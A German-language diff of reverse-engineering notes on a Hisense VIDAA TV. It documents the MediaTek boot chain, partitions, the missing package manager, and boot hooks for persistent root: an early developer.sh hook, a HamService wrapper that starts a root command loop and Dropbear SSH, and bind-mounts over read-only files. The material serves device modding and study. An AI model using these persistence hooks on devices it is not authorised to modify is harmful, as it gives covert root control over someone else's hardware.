||||||
|
```text
|
||||||
|
rootwait rootfstype=squashfs ro console=ttyMT0,115200n1 vmalloc=512mb quiet
|
||||||
|
mtdparts=mt53xx-emmc:2M(ubootA),2M(ubootB),256k(bt_flag),256k(ra_data),
|
||||||
|
2M(uboot_envA),2M(uboot_envB),5M(kernelA),5M(kernelB),40M(rootfsA),40M(rootfsB),
|
||||||
|
256k(basic),8M(perm),205M(3rd_ro),1152M(rw_area),256k(reserved),1M(channelA),
|
||||||
|
1M(channelB),4M(pq),4M(aq),48M(logo),1M(acfg_descr),256k(part_21),4M(adsp),
|
||||||
|
256k(part_23),256k(part_24),1M(eeprom_A),1M(eeprom_B),8M(facset),1M(hiscfg),
|
||||||
|
2040M(data),1M(cidata),1M(dbdata),40M(spdata),100M(swapdt)
|
||||||
|
root=/dev/mmcblk0p9 usbportusing=1,1,1,0 ... adb_enable=0
|
||||||
|
androidboot.serialno=000018300ced9b74 ...
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Bootmedium:** eMMC (`mmcblk0`), MediaTek **`mt53xx-emmc`**-Partitionierung.
|
||||||
|
- **Rootfs:** `/dev/mmcblk0p9` (rootfsA), **squashfs ro**; A/B-Slots für U-Boot/Kernel/Rootfs.
|
||||||
|
- **`/3rd`:** Device-Mapper **`dm-3`**, squashfs ro (~141 MB).
|
||||||
|
- **`console=ttyMT0,115200n1`**: serielle Konsole existiert, ist aber nicht angeschlossen (kein Öffnen des TVs nötig).
|
||||||
|
- **`adb_enable=0`**: kein ADB.
|
||||||
|
- **U-Boot-Env:** `fw_printenv` meldet **„Bad CRC, using default environment“** und zeigt nur einen NFS-Default (`bootcmd=bootp...`). Die **echte** Boot-Konfiguration ist die `/proc/cmdline`; das U-Boot-Env ist **nicht** verlässlich (UNVERIFIED im Detail).
|
||||||
|
|
||||||
|
### CPU / SoC
|
||||||
|
|
||||||
|
`/proc/cpuinfo`:
|
||||||
|
|
||||||
|
```text
|
||||||
|
model name : ARMv7 Processor rev 4 (v7l)
|
||||||
|
Features : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm
|
||||||
|
CPU implementer : 0x41
|
||||||
|
CPU architecture: 7
|
||||||
|
CPU part : 0xd03
|
||||||
|
CPU revision : 4
|
||||||
|
```
|
||||||
|
|
||||||
|
- **ARMv7**, Cortex-A53 (`part 0xd03`), NEON/VFPv4, Thumb-2.
|
||||||
|
- **SoC-Klasse:** MediaTek **MT53xx/MT5863** (Belege: `mt53xx-emmc` in cmdline; Browser-Build `mt5863_sa_768_linux` in `run-Browser.sh`; `mt5863` im Build).
|
||||||
|
- **Exakte Kernanzahl** aus dem Dump: `processor 0..2` sichtbar; `mt5863` ist 4×A53. Als **4 Kerne** dokumentiert, exakter Count `UNVERIFIED` (der Dump war auf 28 Zeilen begrenzt).
|
||||||
|
- **GPU:** ARM Mali (`/3rd/Arm_Mali`, `/basic/lib/libMali.so`, `ins_arm_mali_mod.sh`); die UI nutzt GLES (`--hw-gles`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Userland
|
||||||
|
|
||||||
|
### libc / Laufzeit
|
||||||
|
|
||||||
|
- **glibc 2.18**:
|
||||||
|
- `/lib/ld-linux.so.3`, `/lib/ld-2.18.so`
|
||||||
|
- `/lib/libc-2.18.so`, `libm-2.18.so`, `libdl-2.18.so`, `libpthread-2.18.so`
|
||||||
|
- `/lib/libstdc++.so.6.0.18`, `libgcc_s.so.1`
|
||||||
|
- **ABI:** ARM EABI5, hard-float (VFPv4), `Tag_ABI_align_needed: 8-byte`.
|
||||||
|
- **Zusätzliche Libs:** `/basic/lib` (libcrypto/ssl/curl/nss/…), `/3rd/lib` (libxml2/mxml/iconv/…), `/3rd_rw/opera4xLib` (Browser-Libs), `/lib` (glibc).
|
||||||
|
- **Dynamische Binaries** brauchen die TV-glibc 2.18. **Statisch** ist der sichere Weg (siehe `06`).
|
||||||
|
|
||||||
|
### BusyBox / Shell
|
||||||
|
|
||||||
|
- **BusyBox 1.18.5** (Build 2017-12-05), multi-call.
|
||||||
|
- **Viele Applets sind nicht als Symlink vorhanden** (`uname`, `tr`, `tail`, `id` fehlen z. B. als `/bin/<name>`); nutze:
|
||||||
|
```sh
|
||||||
|
/bin/busybox uname -a
|
||||||
|
/bin/busybox tail -n 10 /pfad
|
||||||
|
/bin/busybox tr '\0' '\n' < /proc/.../environ
|
||||||
|
```
|
||||||
|
- `/bin/sh` existiert (Shell), `/bin/bash` ebenfalls; `/bin`, `/sbin`, `/usr/bin`, `/basic/bin` gemischt.
|
||||||
|
- Nützliche vorhandene Tools: `mount`, `umount`, `insmod`, `mknod`, `mkfs.ext4`, `tar`, `sed`, `grep`, `awk`, `find`, `ping`, `nc`? (nicht geprüft), `ps`, `kill`, `reboot`, `fw_printenv`, `busybox`.
|
||||||
|
- **Nicht vorhanden / nicht gebaut:** `uname` (Applet), `tr` (Applet), `id` (Applet), `ssh`, `sshd`, `scp`, `sftp`, `opkg`, `apt`, `dpkg`, `rpm`, `curl` (BusyBox), `wget`? (nicht geprüft), `python`, `perl`.
|
||||||
|
|
||||||
|
### Init / Services
|
||||||
|
|
||||||
|
- **SysV-artig**, **kein systemd**:
|
||||||
|
- `/etc/inittab`: `id:3:initdefault:`; `1:012345:respawn:/sbin/getty -L ttyMT0 115200 vt100`; `si::sysinit:/etc/init.d/rcS`.
|
||||||
|
- `/etc/init.d/rcS`: `source /etc/profile`; `mount -avt nonfs,nosmbfs`; `/etc/rc.d/rc.local`.
|
||||||
|
- `/etc/rc.d/rc.local`: `/proc/boottime`, `/dev/shm/shm_tmp`, `rc.local.partial`, `mount_main.sh`, `mount_data.sh`, `/basic/3rd_ini/*/global_env_setup.ini`, `mount_3rd*`, `mount_perm.sh`, `fusion.ko`, `hisense_rc.sh`, `dtv_driver*.ko`, `autorun.sh`, `patch/opera4x`, `preload_opera`, `ms_service`, `hisenseUI`, `app_man`, `delayrun`.
|
||||||
|
- **Seriell:** `ttyMT0` 115200; `rootlogin.sh` (USB-Key + doppelt-MD5-PIN) ist der Hardware-Root-Login. **Nicht nötig** für den Software-Root.
|
||||||
|
- **USB-Console:** `usb_console.sh` nur wenn `ttyUSB` in `/proc/cmdline`; hier nicht.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Package Manager: **keiner**
|
||||||
|
|
||||||
|
Live-Root-Check:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
for c in apt apt-get dpkg rpm opkg ipkg apk yum pacman; do command -v $c; done
|
||||||
|
# -> keine Ausgabe / nicht gefunden
|
||||||
|
ls -la /etc/opkg /etc/opkg.conf /var/lib/opkg /var/lib/dpkg /usr/lib/opkg
|
||||||
|
# -> No such file or directory
|
||||||
|
/bin/busybox --list | grep -E '^(opkg|dpkg|rpm|apk|ipkg)$'
|
||||||
|
# -> keine Treffer
|
||||||
|
cat /etc/os-release
|
||||||
|
# -> No such file or directory
|
||||||
|
```
|
||||||
|
|
||||||
|
**Fazit:** Es gibt **keinen Package Manager**, kein Paket-Repo, kein `opkg install`, kein `apt`.
|
||||||
|
**Modding-Konsequenz:**
|
||||||
|
|
||||||
|
- Eigene Tools als **statische ARM-Binaries** bauen (`arm-linux-gnueabihf-gcc -static`) oder Shell-Skripte verwenden.
|
||||||
|
- Deployment per **`File.download`** (Browser root) nach `/3rd_rw/appdata`, per **SSH** (`cat`/`base64`/`tar`) oder USB.
|
||||||
|
- Nichts „installieren“ im Sinne einer Distro; Dateien nach `/3rd_rw`/`/data`/`/perm` legen und per `developer.sh`/`HamService`-Wrapper starten.
|
||||||
|
- Siehe `06-toolchain-deploy.md`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Storage / Mounts / Partitionen
|
||||||
|
|
||||||
|
### Mounts (live)
|
||||||
|
|
||||||
|
```text
|
||||||
|
rootfs / rootfs rw 0 0
|
||||||
|
/dev/root / squashfs ro,relatime 0 0
|
||||||
|
none /proc proc rw
|
||||||
|
none /sys sysfs rw
|
||||||
|
none /opt tmpfs rw # 304.6M
|
||||||
|
none /dev/shm tmpfs rw # 304.6M; /tmp -> /dev/shm/shm_tmp
|
||||||
|
none /var/run tmpfs rw # 304.6M
|
||||||
|
/dev/mmcblk0p30 /data ext4 rw # 1.9G
|
||||||
|
/dev/mmcblk0p30 /vddt ext4 rw # gleiche Partition
|
||||||
|
/dev/mapper/dm-3 /3rd squashfs ro
|
||||||
|
/dev/mmcblk0p33 /spdata ext4 ro
|
||||||
|
/dev/mmcblk0p14 /3rd_rw ext4 rw # 1.1G
|
||||||
|
/dev/mmcblk0p12 /perm ext4 rw # 3.9M
|
||||||
|
/dev/sda1 /dev/shm/shm_tmp/mnt/usb/sda1 ext4 rw
|
||||||
|
/dev/mmcblk0p14 /etc/passwd ext4 rw # unser Bindmount (Root-Home)
|
||||||
|
devpts /dev/shm/pts devpts rw
|
||||||
|
devpts /dev/pts devpts rw # Bind für PTY
|
||||||
|
```
|
||||||
|
|
||||||
|
### Größen (`df -h`)
|
||||||
|
|
||||||
|
| Mount | Größe | Belegt | Frei | FS |
|
||||||
|
|---|---:|---:|---:|---|
|
||||||
|
| `/` | 38.8M | 38.8M | 0 | squashfs ro (100 %) |
|
||||||
|
| `/3rd` | 141.0M | 141.0M | 0 | squashfs ro (100 %) |
|
||||||
|
| `/3rd_rw` | 1.1G | 610.6M | 489.3M | ext4 rw (56 %) |
|
||||||
|
| `/data` | 1.9G | 3.0M | 1.9G | ext4 rw |
|
||||||
|
| `/perm` | 3.9M | 172K | 3.5M | ext4 rw |
|
||||||
|
| `/spdata` | 35.4M | 1.3M | 33.3M | ext4 ro |
|
||||||
|
| `/opt` | 304.6M | 0 | 304.6M | tmpfs |
|
||||||
|
| `/dev/shm` | 304.6M | 58.8M | 245.8M | tmpfs |
|
||||||
|
| `/var/run` | 304.6M | 0 | 304.6M | tmpfs |
|
||||||
|
| USB | 927.7M | 264K | 863.5M | ext4 rw |
|
||||||
|
|
||||||
|
- **Kein OverlayFS** (`/proc/filesystems`: sysfs, rootfs, ramfs, bdev, proc, tmpfs, debugfs, sockfs, pipefs, **devpts**, ext2/3/4, **squashfs**, vfat, iso9660, udf, mqueue, ntfs; **kein overlay**).
|
||||||
|
- **Modding-Mechanik:** rw-Partitionen + **`mount --bind`** (Datei oder Verzeichnis), kein Overlay.
|
||||||
|
- **`/dev` ist Teil des ro Squashfs** (kein devtmpfs); `/dev/pts` enthält statische Nodes 136,0–4; **PTY-Workaround** nötig (siehe `06`/Root-Guide).
|
||||||
|
- **`/tmp` ist ein Symlink auf `/dev/shm/shm_tmp`** (tmpfs).
|
||||||
|
- **eMMC-Partitionen** (Auszug): p9 rootfsA (40M), p10 rootfsB, p12 perm, p13 3rd_ro (205M), p14 rw_area/3rd_rw (1152M), p30 data (2040M), p33 spdata (40M), p34 swap (100M); `dm-3` = 141M `/3rd`; `zram0` 200M.
|
||||||
|
- **Swap:** `delayrun.sh` macht `mkswap /dev/mmcblk0p34` + `swapon`; `zram0` 200M.
|
||||||
|
- **Rootfs/3rd 100 % voll**; neue Daten gehören nach `/3rd_rw` (489M frei) oder `/data` (1.9G frei), nicht in `/`/`/3rd`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Toolchain-Constraints (Kurz)
|
||||||
|
|
||||||
|
| Constraint | Wert |
|
||||||
|
|---|---|
|
||||||
|
| Architektur | ARMv7, EABI5, hard-float, VFPv4/NEON |
|
||||||
|
| Kernel | 3.18.25 (kein overlayfs, kein devtmpfs, devpts ja) |
|
||||||
|
| libc | glibc 2.18 (TV) |
|
||||||
|
| Compiler | `arm-linux-gnueabihf-gcc` (Host) |
|
||||||
|
| Static | empfohlen; `-static`; der mitglieferte Dropbear ist statisch (glibc 2.39) und läuft |
|
||||||
|
| Dynamic | nur mit TV-glibc 2.18 / passendem Sysroot; sonst GLIBC_2.xx-Fehler |
|
||||||
|
| Package Manager | **keiner** |
|
||||||
|
| Deploy | `File.download` (Browser root), SSH (`cat`/`base64`/`tar`), USB |
|
||||||
|
| PTY | devpts auf `/dev/shm/pts` → bind `/dev/pts`; `/dev` ro |
|
||||||
|
| Overlay | **nein** → `mount --bind` + `developer.sh` |
|
||||||
|
|
||||||
|
Details, Dropbear-Build und Deploy: `06-toolchain-deploy.md`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Evidence
|
||||||
|
|
||||||
|
- `/proc/version`, `/proc/cmdline`, `/proc/cpuinfo`, `/proc/filesystems`, `/proc/mounts`, `/proc/partitions`
|
||||||
|
- `df -h`, `ls -l /lib`, `ls -l /bin`, `ls -l /etc`, `/etc/inittab`, `/etc/init.d/rcS`, `/etc/rc.d/rc.local`
|
||||||
|
- `command -v apt/dpkg/opkg/...` leer; `/etc/opkg`/`/var/lib/dpkg` fehlen; `/bin/busybox --list`
|
||||||
|
- Der alte Run-Ordner (`docs/re/20261025-vidaa-takeover/`) enthält die Roh-Captures; für die Replikation nicht nötig.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Bekannte Unknowns
|
||||||
|
|
||||||
|
- Exakte SoC-Bezeichnung (MT5863 vs. MT53xx-Familie), exakte Kernanzahl, Secure-Boot-/Signaturstatus.
|
||||||
|
- Vollständige Kernel-Config, `dm-3`-Konstruktion, `spdata`/`perm`/`facset`/`hiscfg`/`eeprom`-Inhalte.
|
||||||
|
- U-Boot-Env (Bad CRC; default NFS) und echter Bootloader-Flow im Detail.
|
||||||
|
- DRM/`securetime`/PlayReady/Widevine, Netflix/Cobalt/Amazon, OTA/`checker.sh`/`file_upgrading`.
|
||||||
|
- `dtv_svc`/`app_man`-Interna, `LauncherService`-Datenquelle, `Hisense_*`-API-Signaturen.
|
||||||
|
- Ob `VIDAAU2Launcher` auf diesem Modell je aktiv ist (die aktive UI ist `/3rd_rw/UI`; `launcher`/`VIDAAU2` sind Alt-/Alternativ-Skins).
|
||||||
|
- Ob der `preset.txt`-Cache vom `LauncherService`/der UI bei jedem Start neu geschrieben wird (die `deletedPresetApp.txt` ist die persistente Hide-Liste).
|
||||||
@@ -0,0 +1,278 @@
|
|||||||
|
# 02 — Boot: vom U-Boot bis UI/AM/Services
|
||||||
|
|
||||||
|
**Status:** Boot-Kette, Skripte, Zeilennummern und Service-Reihenfolge **CONFIRMED** aus `/etc`, `/basic`, `/3rd` (live/static). Einzelne Bootloader-/Hardware-Details `UNVERIFIED`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Boot-Reihenfolge (Überblick)
|
||||||
|
|
||||||
|
```text
|
||||||
|
U-Boot (eMMC)
|
||||||
|
→ Linux 3.18.25 (cmdline: root=/dev/mmcblk0p9, rootfstype=squashfs, console=ttyMT0)
|
||||||
|
→ /sbin/init
|
||||||
|
→ /etc/inittab (getty ttyMT0, sysinit)
|
||||||
|
→ /etc/init.d/rcS
|
||||||
|
→ mount -a
|
||||||
|
→ /etc/rc.d/rc.local
|
||||||
|
→ rc.local.partial, mount_main.sh, mount_data.sh, 3rd_ini env
|
||||||
|
→ mount_3rd_ro.sh, mount_3rd.sh, mount_perm.sh
|
||||||
|
→ insmod /basic/fusion.ko
|
||||||
|
→ /etc/scripts/hisense_rc.sh (mount_userdata.sh async)
|
||||||
|
→ /basic/autorun.sh
|
||||||
|
→ OTA-Check, Wireless, /3rd_rw/developer.sh (Zeile 90)
|
||||||
|
→ preload_opera, core-dump, ms_service (162)
|
||||||
|
→ hisenseUI/start-UI.sh (168)
|
||||||
|
→ app_man -c am_config -s am_start.ini (177)
|
||||||
|
→ delayrun.sh (190)
|
||||||
|
→ swrc-server, runlogservice, LauncherService, Seriallog,
|
||||||
|
HamService, swap
|
||||||
|
→ usb_console.sh, Bluetooth
|
||||||
|
```
|
||||||
|
|
||||||
|
**Wichtig:** `/3rd_rw/developer.sh` läuft **früh** (Zeile 90) — **vor** `ms_service`, `hisenseUI`, `app_man` und `delayrun`. Das ist der beste Hook für frühe Bind-Mounts/Stubs/custom Services. Der `HamService`-Wrapper läuft **spät** (nach `delayrun` + 15 s) und ist der aktuelle SSH/Root-Loop-Boot-Hook.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. U-Boot / Kernel / Partitionen
|
||||||
|
|
||||||
|
- **Bootmedium:** eMMC, MediaTek `mt53xx-emmc`.
|
||||||
|
- **A/B-Slots:** `ubootA/B`, `kernelA/B`, `rootfsA/B`; root ist `/dev/mmcblk0p9` (rootfsA).
|
||||||
|
- **Rootfs:** squashfs **ro** (38.8 MB, 100 %); `/3rd` ist `dm-3` squashfs ro (141 MB, 100 %).
|
||||||
|
- **Kernel-Cmdline** (Auszug):
|
||||||
|
```
|
||||||
|
rootwait rootfstype=squashfs ro console=ttyMT0,115200n1 vmalloc=512mb quiet
|
||||||
|
mtdparts=mt53xx-emmc:... root=/dev/mmcblk0p9 ... adb_enable=0
|
||||||
|
```
|
||||||
|
- **U-Boot-Env:** `fw_printenv` → **„Bad CRC, using default environment“**; Default ist NFS (`bootcmd=bootp...`). Die **echte** Boot-Konfiguration ist die `/proc/cmdline`; das gespeicherte U-Boot-Env ist nicht verlässlich.
|
||||||
|
- **Seriell:** `ttyMT0` 115200 (getty); `rootlogin.sh` = USB-Key + doppelt-MD5-PIN (Hardware-Root). **Nicht nötig** für den Software-Root.
|
||||||
|
- **ADB:** `adb_enable=0`; kein ADB.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. init / rcS / rc.local
|
||||||
|
|
||||||
|
### `/etc/inittab`
|
||||||
|
|
||||||
|
```text
|
||||||
|
id:3:initdefault:
|
||||||
|
1:012345:respawn:/sbin/getty -L ttyMT0 115200 vt100
|
||||||
|
si::sysinit:/etc/init.d/rcS
|
||||||
|
```
|
||||||
|
|
||||||
|
### `/etc/init.d/rcS`
|
||||||
|
|
||||||
|
```sh
|
||||||
|
#! /bin/sh
|
||||||
|
source /etc/profile
|
||||||
|
# Don't use scripts. Just use mount -a for fast boot.
|
||||||
|
/bin/mount -avt nonfs,nosmbfs
|
||||||
|
[ -x /etc/rc.d/rc.local ] && /etc/rc.d/rc.local
|
||||||
|
```
|
||||||
|
|
||||||
|
### `/etc/rc.d/rc.local` (Auszug)
|
||||||
|
|
||||||
|
```sh
|
||||||
|
echo "rc.local begin" > /proc/boottime
|
||||||
|
# /dev/shm/shm_tmp (Basis für /tmp)
|
||||||
|
sh /etc/rc.d/rc.local.partial &
|
||||||
|
sh /etc/scripts/mount_main.sh
|
||||||
|
sh /etc/scripts/mount_data.sh
|
||||||
|
for INI_3RD in `ls /basic/3rd_ini`; do source /basic/3rd_ini/$INI_3RD/global_env_setup.ini; done
|
||||||
|
# mount_3rd_ro.sh / mount_3rd.sh / mount_perm.sh
|
||||||
|
insmod /basic/fusion.ko
|
||||||
|
sh /etc/scripts/hisense_rc.sh # mount_userdata.sh async
|
||||||
|
# dtv_driver_adpt.ko / dtv_dolby_vision.ko / dtv_driver.ko
|
||||||
|
# BROWSER_3RD_RW=/3rd_rw/patch/opera4x; mount -o bind ... /3rd/opera4x
|
||||||
|
# preload_opera.sh, core-dump, ut_drv, aud_cpudec
|
||||||
|
# ms_service, hisenseUI/start-UI.sh, app_man, delayrun
|
||||||
|
```
|
||||||
|
|
||||||
|
- **`/proc/boottime`** wird an mehreren Stellen geschrieben (Boot-Timing).
|
||||||
|
- **`file_upgrading`** in `/proc/cmdline` triggert `checker.sh` + `mount_perm`/`mount_3rd`/`mount_3rd_ro`; nicht der normale Boot.
|
||||||
|
- **`/basic/3rd_ini/*/global_env_setup.ini`** setzt `LD_LIBRARY_PATH`/Env für die 3rd-Services.
|
||||||
|
- **`fusion.ko`** ist das MediaTek-AM-/App-Framework-Modul; `dtv_driver*.ko` für den Tuner/DTV.
|
||||||
|
- **`/3rd_rw/patch/opera4x`**: Vendor-Overlay — wenn das Verzeichnis existiert, wird es **als Ganzes** über `/3rd/opera4x` gebindet (`mount -o bind`). Siehe Abschnitt 7.
|
||||||
|
- **`/3rd_rw/developer.sh`**: früher Root-Hook (siehe Abschnitt 6).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. `/basic/autorun.sh` — die Service-Zentrale
|
||||||
|
|
||||||
|
Reihenfolge (Zeilennummern aus der Datei):
|
||||||
|
|
||||||
|
| Zeile | Aktion |
|
||||||
|
|---:|---|
|
||||||
|
| 1–~60 | Header, OTA-Strategie (`ota_upgrade_strategy.sh`), Wireless-Datei, Developer-Hook |
|
||||||
|
| **90–92** | **`if [ -f /3rd_rw/developer.sh ]; then sh /3rd_rw/developer.sh; fi`** |
|
||||||
|
| ~128 | `preload_opera.sh` (Opera-Libs) |
|
||||||
|
| ~137 | Core-Dump-Setup (optional) |
|
||||||
|
| ~162 | **`ms_service`** starten (`/3rd/ms-screen/ms_service &`) |
|
||||||
|
| **168** | **`hisenseUI/start-UI.sh &`** (TV-UI, `/3rd_rw/UI/index.html`) |
|
||||||
|
| **177** | **`/basic/app_man -c /basic/am_config -s /basic/am_start.ini -input_fifo &`** |
|
||||||
|
| **190** | **`sh /basic/delayrun.sh &`** |
|
||||||
|
| danach | `usb_console.sh`, Bluetooth-Service |
|
||||||
|
|
||||||
|
**Wichtig:** Der `developer.sh`-Hook ist **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`. Damit lassen sich ro-Dateien (z. B. `/basic/am_config`, `/basic/am_start.ini`, `/basic/delayrun.sh`, `/3rd/ms-screen/ms_service`, `/3rd/opera4x/hisenseUI/start-UI.sh`) per **Datei-Bind-Mount** oder Stub ersetzen, **bevor** sie gelesen/ausgeführt werden.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. AM (app_man), am_start, am_config, delayrun
|
||||||
|
|
||||||
|
### 5.1 `app_man`
|
||||||
|
|
||||||
|
```sh
|
||||||
|
cd /basic
|
||||||
|
/basic/app_man -c /basic/am_config -s /basic/am_start.ini -input_fifo &
|
||||||
|
```
|
||||||
|
|
||||||
|
- **AM** = MediaTek App Manager. Startet native Apps/Services aus `am_start.ini`/`am_config`.
|
||||||
|
- Steuerung: `:am,<app>,:<verb>=<val>`; Verbs u. a. `start`, `stop`, `pause`, `resume`, `URL`, `backgm`, `foregm`, `shutdown`, `suspend`, `wakeup`; `:am,am,...` für den Manager.
|
||||||
|
- **Kein `exec`/`args` über AM** (nur die konfigurierten `exec`/`args`).
|
||||||
|
|
||||||
|
### 5.2 `am_start.ini` — Boot-App-Sektionen
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[ application_context ]
|
||||||
|
app_sect = securetime
|
||||||
|
app_sect = dialserver
|
||||||
|
app_sect = netflix
|
||||||
|
app_sect = samba_relay_agent
|
||||||
|
app_sect = browser_base
|
||||||
|
app_sect = dtv_app_mtk # first started
|
||||||
|
|
||||||
|
[ dtv_app_mtk ]
|
||||||
|
exec = /basic/dtv_svc
|
||||||
|
args = --am -input_fifo
|
||||||
|
coexist_set = [opera4x,factory_lite,diskcache,netflix]
|
||||||
|
|
||||||
|
[ netflix ]
|
||||||
|
exec = /3rd/netflix/nrd-app/netflix
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
- **`dtv_app_mtk` / `dtv_svc`**: TV-Kern (Tuner/DTV/Navigator); wird zuerst gestartet.
|
||||||
|
- **`netflix`**: Netflix-App; `coexist_set` mit `dtv_app_mtk`, `opera4x`, `factory_lite`.
|
||||||
|
- **`dialserver`**: DIAL/CAST.
|
||||||
|
- **`samba_relay_agent`**: Samba-Relay (Port 9090).
|
||||||
|
- **`browser_base`**: Hintergrund-Browser (`/3rd/internet_browser/browser -x bws_background`), `start_self=true`.
|
||||||
|
- **`securetime`**: PlayReady Secure Time (`/3rd/playready/securetime`).
|
||||||
|
|
||||||
|
### 5.3 `am_config` — App-Definitionen (Auszug)
|
||||||
|
|
||||||
|
| App | exec / args | Bemerkung |
|
||||||
|
|---|---|---|
|
||||||
|
| `opera4x` | `/3rd/opera4x/browser/run-Browser.sh` | Web-Browser (`hisense_browser`), `start_self=true`, DevTools 9224 |
|
||||||
|
| `netflix_niab` | `/3rd/netflix/nrd-app/netflix` | Netflix |
|
||||||
|
| `opera_browser` | `/3rd/internet_browser/browser -u http://www.google.com ...` | „Internet Browser“-Variante |
|
||||||
|
| `opera_tv_store` | `/3rd/internet_browser/browser -u https://demo.tvstore.opera.com ...` | TV Store |
|
||||||
|
| `youtube` | `/3rd/internet_browser/browser -u http://www.youtube.com/tv ...` | YouTube (Web) |
|
||||||
|
| `youtube_kids` / `youtube_tv` | `/3rd/cobalt/cobalt ...` | Cobalt-YouTube |
|
||||||
|
| `cobalt` | `/3rd/cobalt/cobalt ...` | Cobalt |
|
||||||
|
| `amazon_ignition` | `/3rd/amazon/bin/ignition` | Amazon |
|
||||||
|
| `factory_lite` | `/3rd/his_factory/factory_lite -qws` | Factory-Menü |
|
||||||
|
| `huluplus`, `hotlist`, `generic_osd` | Internet-Browser | Legacy/Store |
|
||||||
|
| `vudu` (referenziert) | — | Store/Region |
|
||||||
|
|
||||||
|
- `exec`/`args`; `coexist_set`; `start_self`; `backgm_support`; `keymap`; `timeout_4_stop`; `loosely_exclusive_set`.
|
||||||
|
- **Der Web-Browser** (`opera4x`) wird **nicht** beim Boot aus `am_start.ini` gestartet; er wird bei Bedarf (TV-Browser-Tile) über AM gestartet. **Die UI** (`hisenseUI`) startet separat aus `autorun.sh` (Zeile 168).
|
||||||
|
|
||||||
|
### 5.4 `delayrun.sh` — späte Services (nach 15 s)
|
||||||
|
|
||||||
|
```sh
|
||||||
|
sleep 15
|
||||||
|
export LD_LIBRARY_PATH=/3rd/loglevel/lib:$LD_LIBRARY_PATH
|
||||||
|
/3rd/swrc-server/swrc-server &
|
||||||
|
/3rd/his_runlog/runlogservice.sh &
|
||||||
|
/3rd/launcherservice/startLS.sh & # LauncherService
|
||||||
|
/3rd/Serial_log/Seriallog &
|
||||||
|
/3rd/hamservice/startHam.sh & # HamService (unser Wrapper)
|
||||||
|
mkswap /dev/mmcblk0p34; swapon /dev/mmcblk0p34
|
||||||
|
```
|
||||||
|
|
||||||
|
- **`swrc-server`**: Software-Remote-Control-Server.
|
||||||
|
- **`runlogservice`**: Logging/Runlog.
|
||||||
|
- **`LauncherService`**: Launcher-/App-Daten/UI-Service (`startLS.sh`).
|
||||||
|
- **`Seriallog`**: serielles Logging.
|
||||||
|
- **`HamService`**: ACR/Hisense-Service; **hier** greift unser Wrapper (`/3rd_rw/hamservice/HamService`), der Root-Loop + Dropbear startet und dann das echte `/3rd/hamservice/HamService` ausführt.
|
||||||
|
- **Swap:** `mmcblk0p34` (100M).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Boot-Hooks (die wichtigen)
|
||||||
|
|
||||||
|
| Hook | Zeitpunkt | Was |
|
||||||
|
|---|---|---|
|
||||||
|
| **`/3rd_rw/developer.sh`** | **früh** (autorun Zeile 90) | Root; vor `ms_service`/`hisenseUI`/`app_man`/`delayrun`. Bestens für: `mount --bind` von modifizierten `am_start.ini`/`am_config`/`delayrun.sh`, Stubs für `ms_service`/`start-UI.sh`/`app_man`, frühe eigene Services, SSH/Root-Loop. |
|
||||||
|
| **`/3rd_rw/hamservice/HamService`** | spät (delayrun + 15 s) | Root; unser Wrapper: `root_loop.sh` + `start_sshd.sh`, dann `exec /3rd/hamservice/HamService`. **Aktuelle SSH/Root-Persistenz.** |
|
||||||
|
| **`/3rd_rw/patch/opera4x`** | autorun (vor `preload_opera`/UI) | Vendor-Overlay: `mount -o bind /3rd_rw/patch/opera4x /3rd/opera4x`. **Full overlay** — nur mit vollständigem Baum/Symlinks; für einzelne Dateien lieber Datei-Bind-Mount via `developer.sh`. |
|
||||||
|
| **`/3rd_rw/UI`** | UI-Start | Die aktive UI-Seite (`/3rd_rw/UI/index.html`); rw. |
|
||||||
|
| **`/3rd_rw/appdata/launcher`** | UI/LauncherService | App-Tiles/Daten (`preset.txt`, `Appinfo.json`, `deletedPresetApp.txt`, `data/Category*.xml`, `res/`). |
|
||||||
|
| **`/3rd_rw/sshd`** | via HamService/`start_sshd.sh` | Dropbear, Host-Key, authorized_keys, Startskript. |
|
||||||
|
| **`/3rd_rw/appdata/root_loop.sh`** | via HamService/`developer.sh` | Root-Kommandokanal (`root_cmd.sh` → `root_out.txt`). |
|
||||||
|
| **`/3rd_rw/patch/opera4x`** | autorun | full `/3rd/opera4x` overlay; siehe oben. |
|
||||||
|
|
||||||
|
**Wichtig:** Die ro-Dateien `/basic/am_config`, `/basic/am_start.ini`, `/basic/delayrun.sh` werden **nach** dem `developer.sh` gelesen/ausgeführt. Ein `mount --bind` in `developer.sh` wirkt daher. Ein Stub über `/3rd/ms-screen/ms_service` oder `/3rd/opera4x/hisenseUI/start-UI.sh` wirkt ebenfalls, weil die `-x`-Checks danach kommen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. `/3rd_rw/patch/opera4x` (Vendor-Overlay)
|
||||||
|
|
||||||
|
In `autorun.sh`:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
BROWSER_3RD_RW=/3rd_rw/patch/opera4x
|
||||||
|
if [ -d $BROWSER_3RD_RW ]; then
|
||||||
|
mount -o bind $BROWSER_3RD_RW /3rd/opera4x
|
||||||
|
fi
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Full directory bind**: `/3rd/opera4x` wird komplett durch `/3rd_rw/patch/opera4x` ersetzt.
|
||||||
|
